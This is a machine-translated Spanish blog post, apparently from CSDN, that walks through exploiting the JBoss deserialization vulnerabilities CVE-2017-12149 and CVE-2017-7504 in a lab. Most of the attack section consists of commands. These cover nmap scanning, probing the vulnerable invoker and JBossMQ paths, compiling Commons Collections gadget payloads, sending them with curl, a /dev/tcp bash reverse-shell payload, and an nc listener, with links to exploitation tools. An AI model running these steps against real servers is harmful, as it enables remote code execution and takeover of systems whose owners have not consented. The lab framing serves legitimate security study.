Vulnerabilidad de deserialización de JBoss 4.x 5.x 6.x JBossMQ JMS

Directorio de artículos

Conocimiento básico

  La serialización es convertir un objeto en un flujo de bytes, que es conveniente para almacenar en la memoria, archivos y bases de datos; la deserialización es el proceso inverso, que restaura el objeto del flujo de bytes.

  El método writeObject () de la clase ObjectOutputStream en Java se puede serializar y el método readObject () de la clase ObjectInputStream se usa para la deserialización.

  La causa principal de la vulnerabilidad es que la clase ObjectInputStream no impone restricciones sobre el tipo de objetos generados al deserializar.

Principio de vulnerabilidad

CVE-2017-12149

  La vulnerabilidad afecta a las versiones 5.xy 6.x de JBOSSAS. La vulnerabilidad se encuentra en el filtro ReadOnlyAccessFilter en el componente HttpInvoker de JBoss. Su método doFilter intenta deserializar el flujo de datos serializados del cliente sin ningún control de seguridad ni restricciones, lo que hace que el atacante use datos Serialize cuidadosamente diseñados para ejecutar código arbitrario.

CVE-2017-7504

  En JBoss AS 4.xy versiones anteriores, el archivo HTTPServerILServlet.java de la capa de invocación JMS sobre HTTP del proceso de implementación de JbossMQ tiene una vulnerabilidad de deserialización.Los atacantes remotos pueden usar los datos serializados especialmente hechos para ejecutar código arbitrario usando esta vulnerabilidad.

Versión afectada

  CVE-2017-12149: JBoss AS 5.xy versiones 6.x
  CVE-2017-7504: JBoss AS 4.xy versiones anteriores

Ideas recurrentes

  1. El puerto vulhub8080 integrado del host en la nube crea un campo de tiro experimental
  2. Cargue el script de ataque, compile y genere datos serializados
  3. Serialice datos maliciosos en un archivo y envíe un paquete de datos utilizando el archivo como el asunto de los datos de la solicitud.
  4. El host en la nube abre el puerto para escuchar el shell rebotado
  1. La ruta del exploit CVE-2017-12149 es / invoker / readonly
  2. La ruta del exploit CVE-2017-7504 es / jbossmq-httpil / HTTPServerILServlet
  3. La ruta del exploit de CVE-2015-7501 es / invoker / JMXInvokerServlet

Recurrencia — CVE-2017-12149


Resumen preliminar: el host en la nube es el atacante, y el espejo del campo de tiro interno del host en la nube abre el contenedor de vulnerabilidades JBOOS CVE-2017-12149 como la víctima.

La dirección de descarga del script utilizada en este artículo:
https://github.com/joaomatosf/JavaDeserH2HC

Abra la página principal del entorno de vulnerabilidad:

Inserte la descripción de la imagen aquí

1. Detección de características

Escaneo de puertos:

// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP

  
   
   
  • 1
  • 2

Inserte la descripción de la imagen aquí
Empalme de directorios:

Visite http: // IP: puerto / invoker / readonly

Inserte la descripción de la imagen aquí

Si aparece la página de error 500 anterior, significa que se cumplen las características y la vulnerabilidad puede existir.

2. Carcasa inversa

Dirección de descarga del script:

https://github.com/joaomatosf/JavaDeserH2HC

Descargue el script de la herramienta y luego ingrese al directorio de la herramienta:

Inserte la descripción de la imagen aquí
Compile y genere datos serializados:

// 执行下面命令会生成相应的.class文件
 javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

  
   
   
  • 1
  • 2

El nombre completo de ser es serialize, que serializa datos maliciosos en un archivo:

// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap.java 云主机IP:port(反弹shell使用的监听端口)

  
   
   
  • 1
  • 2

Utilice este archivo como el asunto de los datos de la solicitud para enviar un paquete de datos, –data-binary significa publicar datos en formato binario:

// curl 这个二进制文件发送payload
curl http://目标 IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 

  
   
   
  • 1
  • 2

Puerto de escucha:

// 开启监听端口
nc -lvnp 6666

  
   
   
  • 1
  • 2

Captura de pantalla del proceso:

Inserte la descripción de la imagen aquí
Rebote con éxito (Nota: puede ejecutar directamente el comando después de conectarse a [XXXX] desde xxxx aparece aquí. El blogger pensó que estaba atascado y esperó durante mucho tiempo, y después de hacer muchos intentos, descubrí que la conexión fue exitosa QAQ)

Recurrencia — CVE-2017-7504


Resumen preliminar: el host en la nube es el atacante y el espejo del campo de tiro interno del host en la nube abre el contenedor de vulnerabilidades JBOOS CVE-2017-7504 como la víctima.

1. Detección de características

Escaneo de puertos:

// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP

  
   
   
  • 1
  • 2

Inserte la descripción de la imagen aquí
Empalme de directorios:

访问 http: // IP: puerto / jbossmq-httpil / HTTPServerILServlet

Inserte la descripción de la imagen aquí

2. Carcasa inversa

Ingrese el archivo de secuencia de comandos de la herramienta descargado anteriormente, compile y genere datos serializados:

// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

  
   
   
  • 1
  • 2

Serializar datos maliciosos en un archivo:

// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主机IP/监听端口<&1' (反弹shell使用的监听端口)

  
   
   
  • 1
  • 2

Utilice este archivo como el asunto de los datos de la solicitud para enviar un paquete de datos, –data-binary significa publicar datos en formato binario:

// curl 这个二进制文件发送payload
curl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser

  
   
   
  • 1
  • 2

Puerto de escucha:

// 开启监听端口
nc -lvnp 6666

  
   
   
  • 1
  • 2

Captura de pantalla del proceso: ¡un
Inserte la descripción de la imagen aquí
rebote exitoso ~!

El enlace de descarga de la herramienta de integración (todavía es amplio y fácil de usar):
https://github.com/joaomatosf/jexboss


Supongo que te gusta

Origin blog.csdn.net/weixin_44110913/article/details/112152691
Recomendado
Clasificación